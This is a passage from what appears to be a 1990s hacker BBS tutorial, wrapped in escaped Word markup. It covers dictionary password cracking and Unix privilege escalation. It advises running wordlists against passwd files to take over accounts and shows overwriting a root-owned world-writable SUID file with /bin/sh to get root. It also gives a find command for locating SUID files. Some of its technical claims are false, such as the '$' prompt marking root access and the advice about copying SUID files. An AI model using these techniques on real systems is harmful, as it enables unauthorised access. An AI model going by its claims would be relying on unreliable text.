of&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;words to attempt to use as passwords (called dictionaries), and it&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;spends the night encrypting dictionaries and matching them to password&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;entries. By running a dictionary through a passwd file, on a typical&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;system, you can usually get 10-20 accounts. Good personal computer&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;examples of this program idea include Killer Cracker (the industry&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;standard, so to speak) and CrackerJack (faster than Killer Cracker).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;Quick tips for CrackerJunkies with leech access at an H/P BBS:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;A standard dictionary will not uncover passwords protected with an&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;appended digit or non-alphanumeric character. In order to get around&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;this, you need only grab a program that processes the dictionary file&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;to add that digit to each entry in the dictionary... although this&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;takes longer, and you'll need to do it multiple times, you can&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;   &lt;/span&gt;typically get 10 more accounts just by adding a 1 to every entry.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Files and directories in Unix are characterized further by their&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;permissions. Permissions are a standard system of who gets access to a&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;specific function of that file or directory. Standard permissions&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;include read, write, and execute. You can get a list of permissions by&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;typing 'ls -l'. The first field in the listing contains the&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;permissions, grouped as follows:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;owner&lt;span style=""&gt;  &lt;/span&gt;group&lt;span style=""&gt;   &lt;/span&gt;world&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;--------------------&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;rwx&lt;span style=""&gt;    &lt;/span&gt;rwx&lt;span style=""&gt;     &lt;/span&gt;rwx&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;(Not drawn to scale... in fact, it doesn't look anything like that).&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Essentially, as long as the letter is there, you have access to that&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;facet of the file. If the letter is not there, you'll see a dash...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;meaning you don't have access to that function. An example:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;rwxr-x--x&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;In this case, the owner of the file can Read the file, Write to the&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;file, and eXecute the file; members of his group (a bunch of linked&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;accounts) can Read the file, CANNOT Write to the file, and can eXecute&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;the file; and the rest of the user population CANNOT Read or Write to&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;the file, but CAN eXecute the file.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;rwx---rwx&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;is a WORLD-READABLE, WORLD-WRITABLE, WORLD-EXECUTABLE file. This&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;simply means that anyone can read, write, or execute the file.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Another permission sometimes set to a file is the SUID bit. An SUID&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;file contains a smallcase s in the user executable section of the&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;permissions list...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;rws--x--x&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;When you execute an SUID file, your user ID becomes that of the owner&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;of the file. While this may not look to important at first, by now you&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;should know that no really important super elite hacker concept does.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Take a look at this:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;rwsr-x--x&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Synopsis? It's a world executable SUID file. In essence, anyone can&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;execute the file, and in doing so, become the owner of the file for&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;the duration of the time that file is operating. However, this doesn't&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;get you much, because you typically can't do anything while the&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;programis running. More likely than not, it's calculating how many&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;pencils it needs to order for school tomorrow or some other such&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;drivel.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;The real power of the SUID file comes into play in this situation:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;rwsrwxrwx&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;You won't see a lot of these, but when you do, look out. What you have&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;here is a world writable SUID file... and a world writable program can&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;be any program on the system you have read access to. Like, say,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;/bin/sh... the Unix shell...&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Quick command line example... 'diablo' is a root owned, world writable&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;SUID file. I'm going to ignore the rest of the output of the ls&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;command.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;#ls -l&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;rwsrwxrwx... ...diablo&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;#cat /bin/sh &gt; diablo&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;#diablo&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;$&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Oh, just so you know, the $ prompt denotes root access.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Good deal, huh? In general, if you have right privs to an SUID file,&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;copy it to your own directory and cat /bin/sh into it. You now have an&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;instant gateway to the account of the owner of that file.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;If you want to find files that you can do this with, try this out:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;#find / -user root -perm -4000 -exec /bin/ls -al {} ";"&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;This will give you a list of all root owned SUID files. If you want&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;more info on the 'find' command, just 'man find'.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Well, I'm overdo for an appointment on the IRC in #warez... so I'll&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;cut off here. I hope I've been of assistance to you.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;----------------------------------------------------------------------------&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;A C T U A L&lt;span style=""&gt;  &lt;/span&gt;A R T I C L E&lt;span style=""&gt;  &lt;/span&gt;E N D S&lt;span style=""&gt;  &lt;/span&gt;H E R E . . .&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Please feel free to save an extra 1k of file space and invoke the DOS&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;EDIT CUT command at the dotted line. Do not remove the rest of this&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;article on penalty of law.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;S00P3R GR00P-3SQU3 GR33TZ / +HANX&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Greets go out to Nowhere Man, INC, THG, UNT, SaD, SoD, PTA, SOB&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style=""&gt;&lt;span style="font-size: 10pt; font-family: &amp;quot;Courier New&amp;quot;;"&gt;&lt;span style=""&gt;  &lt;/span&gt;Thanks to... ________________________&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  